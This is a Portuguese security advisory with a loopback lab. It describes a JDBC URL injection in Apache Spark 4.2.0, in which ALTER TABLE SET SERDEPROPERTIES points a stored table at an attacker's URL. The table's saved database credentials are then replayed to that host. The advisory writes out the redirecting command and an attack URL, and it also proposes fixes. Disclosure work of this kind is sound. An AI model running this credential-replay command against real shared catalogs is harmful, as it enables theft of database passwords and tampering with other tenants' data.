
Apache Spark 4.2.0 - Alta - Remoto - Injeção de URL JDBC - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Classe: Injeção de URL JDBC Alcance: Remoto
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 impediu que opções extras em tempo de varredura sobrescrevessem uma url JDBC armazenada. ALTER TABLE SET SERDEPROPERTIES ainda é mesclado em storage.properties, que é o mapa de opções de varredura JDBC. user / password armazenados não são nomes de opções JDBC do Spark, então eles seguem para a nova URL.
Um usuário SQL de catálogo compartilhado pode redirecionar uma tabela USING jdbc provisionada pelo operador e reenviar a senha de banco de dados armazenada para um host de sua escolha.
| ID | ainda sem CVE |
| Classe | Injeção de URL JDBC / reutilização de credenciais armazenadas (resquício do SPARK-31710) |
| Alcance | Remoto (Connect ou Hive Thrift SQL em um catálogo compartilhado) |
| CWE | CWE-15, CWE-522 |
| CVSS | Alto: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Produto | Apache Spark |
| Afetado | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) tabelas SQL v1 JDBC |
| Autenticação | usuário SQL de catálogo compartilhado (não um jar de submissão de job) |
| Licença | GNU Affero GPL v3.0 |
| Lab | somente 127.0.0.1:18960 |
Uma sessão Connect gRPC SQL ou sessão Hive Thrift SQL em um externalCatalog compartilhado que já possui uma tabela persistente USING jdbc com credenciais armazenadas. Não é um submissor de job. Não é a sessão que nomeou a URL original.
| Método | Destino | Privilégio |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') e então REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties e então JDBC Driver.connect(url, properties) | Integridade: redirecionar a tabela provisionada para um listener do atacante. Comprovado em lab (connect=yes). Confidencialidade: reenviar user / password do banco armazenados no startup do PostgreSQL e na autenticação em texto claro. Comprovado em lab (user-replay=true password-replay=true). Reconhecimento do segredo via SHOW CREATE está fechado (redigido). |
Mesma persistência, SELECT posterior de outro tenant em t | linha do catálogo compartilhado | Integridade, inferida: consultas de outras sessões contra t agora atingem a nova URL (banco errado, linhas controladas pelo atacante). Disponibilidade, inferida: o banco original fica inacessível até que um admin redefina o serde. Fora do escopo para DoS. |
Chaves serde adicionais (sessionInitStatement, prepareQuery, driver) | opções de varredura sobre user / password remanescentes | Integridade, inferida: instruções extras ou um construtor sem argumentos de Driver no classpath. Não inflar para RCE sem um gadget no classpath padrão. Não exercitado. |
ALTER TABLE SET TBLPROPERTIES | somente CatalogTable.properties | Fechado para esta análise. Comprovado em lab (url de storage inalterada, sem acionamento do oráculo). |
Conflito de opção extra url em tempo de varredura | SPARK-31710 generateDatasourceOptions | Fechado. Comprovado em lab (extra-options-clash recusado). |
spark.read.format("jdbc").option("url", ...) nomeado pela mesma sessão | plano de dados pretendido | DESCARTADO. URL controlada pelo proprietário não é este resquício. |
SET SERDE '<class>' em uma tabela de datasource | nome da classe | Fechado (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Não exercitado. |
Adjacentes fechados: JDBC / caminhos de arquivo nomeados pela sessão. Verificação de conflito de spark.sql.legacy.extraOptionsBehavior. O Spark OSS não possui externalOptionsAllowList do Unity. A URL de CREATE TABLE é controlada pelo proprietário (não este resquício). A redação de log de URL JDBC é incondicional. O path de tabela de arquivo fica em locationUri. Conexões JDBCTableCatalog vêm da configuração do catálogo de sessão (mesmo plano de dados que escolher uma URL). pyspark de usuário único sem catálogo compartilhado está fora do modelo.
Fixe a versão Spark 4.2.0, não master e não um RC 4.3. Submissão de job em um cluster aberto é por design. Os resquícios interessantes ficam ao lado de correções nomeadas. SPARK-31710 / generateDatasourceOptions recusa uma url diferente em tempo de varredura para uma chave serde existente. SET TBLPROPERTIES grava apenas table.properties. Tabelas de datasource ainda permitem SET SERDEPROPERTIES e mesclam em storage.properties (++, chaves posteriores vencem). user e password nunca entram em jdbcOptionNames, então asConnectionProperties os entrega a Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE redige password. O usuário SQL não consegue ler o segredo de volta. Mas ainda pode usá-lo.
Caminhos errados já registrados: tratar a url de CREATE TABLE como o bug; registrar novamente o conflito de opções extras; esperar que SET TBLPROPERTIES mova o storage; afirmar que SHOW CREATE vaza a senha; executar um cluster completo quando o Scala citado é um gadget; um reverse shell. O oráculo é um startup do PostgreSQL mais autenticação em texto claro no loopback.
cd lab
./run.sh
O loopback 127.0.0.1:18960 é um listener do protocolo PostgreSQL. O health HTTP é 127.0.0.1:18961. O contêiner do gadget é Temurin 21 mais libpostgresql-jdbc-java. A URL armazenada é jdbc:postgresql://127.0.0.1:1/provisioned (conexão recusada). A URL de ataque é jdbc:postgresql://oracle:18960/stolen. Usuário armazenado spark_jdbc. Senha armazenada stored-secret-SPARK-JDBC-SERDE-URL. Vincule ao loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Recusar chaves de SET SERDEPROPERTIES que conflitem com url / user / password JDBC armazenados, a mesma verificação que generateDatasourceOptions já executa para extras em tempo de varredura. Ou descartar user / password armazenados quando a url mudar. Ou tratar o serde JDBC de datasource como propriedades de tabela, não de storage. Até então, não conceda ALTER TABLE SQL a usuários não confiáveis em uma tabela persistente USING jdbc que armazena uma senha.